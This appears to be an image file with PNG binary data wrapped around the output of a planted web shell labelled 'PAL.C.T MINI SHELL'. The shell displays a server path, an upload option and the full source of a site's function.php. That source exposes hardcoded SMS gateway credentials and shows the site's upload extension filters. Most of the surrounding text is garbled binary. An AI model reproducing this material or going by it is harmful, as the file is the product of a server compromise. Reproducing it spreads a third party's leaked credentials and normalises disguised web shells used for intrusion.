php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/FTFL/inc/
upload
files >> //var/www/html/FTFL/inc/function.php

<?php 
	function getRealIpAddr(){
	    if (!empty($_SERVER['HTTP_CLIENT_IP']))   //check ip from share internet
	    {
	      $ip=$_SERVER['HTTP_CLIENT_IP'];
	    }
	    elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))   //to check ip is pass from proxy
	    {
	      $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
	    }
	    else
	    {
	      $ip=$_SERVER['REMOTE_ADDR'];
	    }
	    return $ip;
	}
	$ip = getRealIpAddr();
	
	function alias1($var){
		echo $var = strtolower(str_replace(' ', '-', preg_replace('/[^\p{L}\p{N}\s]/u', '', $var)));  	
	}
	
	function gen_uuid() {
	    return sprintf( '%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
	        // 32 bits for "time_low"
	        mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ),

	        // 16 bits for "time_mid"
	        mt_rand( 0, 0xffff ),

	        // 16 bits for "time_hi_and_version",
	        // four most significant bits holds version number 4
	        mt_rand( 0, 0x0fff ) | 0x4000,

	        // 16 bits, 8 bits for "clk_seq_hi_res",
	        // 8 bits for "clk_seq_low",
	        // two most significant bits holds zero and one for variant DCE1.1
	        mt_rand( 0, 0x3fff ) | 0x8000,

	        // 48 bits for "node"
	        mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff )
	    );
	}

	function cext($filename){
	    $block_file_extensions = array(".js",".sh",".shtml",".html",".htm",".php",".php3",".php4",".php5",".phtml",".pl",".py",".jsp",".asp",".cgi");
	    $valid_file_extensions = array(".jpg",".png",".jpeg",".JPG",".PNG",".JPEG",".pdf");
	    $cekext = explode(".",$filename);    
	    $file_extension = strrchr($filename, ".");

	    if(count($cekext) > 2){
	        $flag = 0;
	    }
	    elseif(in_array($file_extension, $block_file_extensions)) {
	        $flag = 0;
	    }
	    elseif(!in_array($file_extension, $valid_file_extensions)) {
	        $flag = 0;
	    }
	    else{
	        $flag = 1;
	    }
	    return $flag;
	}
	function cext2($filename){
	    $ALLOWED_TYPES = array("image/jpeg","image/png");
	    $MIME_TYPE = mime_content_type($filename);


	    if (!in_array($MIME_TYPE, $ALLOWED_TYPES)) {
	        $flag = 0;
	    }
	    else{
	        $flag = 1;
	    }
	    return $flag;
	}
	function kirim_email($email,$subjek,$body){
	    
	    $headers = "MIME-Version: 1.0" . "\r\n";
	    $headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";

	    // More headers
	    $headers .= "From: WEB <admin@website.com>\r\n";
	    mail($email, $subjek, $body, $headers);
	    
	}
	
	function gen_kode($con) {
		$year = date('y');
		$month = date('m');
		$date = date('d');
		$ada='1';
		while ($ada>0) {
			$kode= $year.$month.$date.substr(str_shuffle("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"), -4);
			
			$q = $con->prepare("SELECT * FROM order_receipt_detail WHERE barcode = ?");
			$q->execute(array($kode));
			$ada = $q->rowCount();
		}
		return $kode;
		
	}
	function rajaSMS($ponsel,$pesan) {
        $url = 'https://websms.co.id/api/smsgateway?user=suyatmo&pass=kirimkirim88&to='.$ponsel.'&msg='.urlencode($pesan);

		$header = array(
		'Accept: application/json',
		);

		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
		$result = curl_exec($ch);
    }
?>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`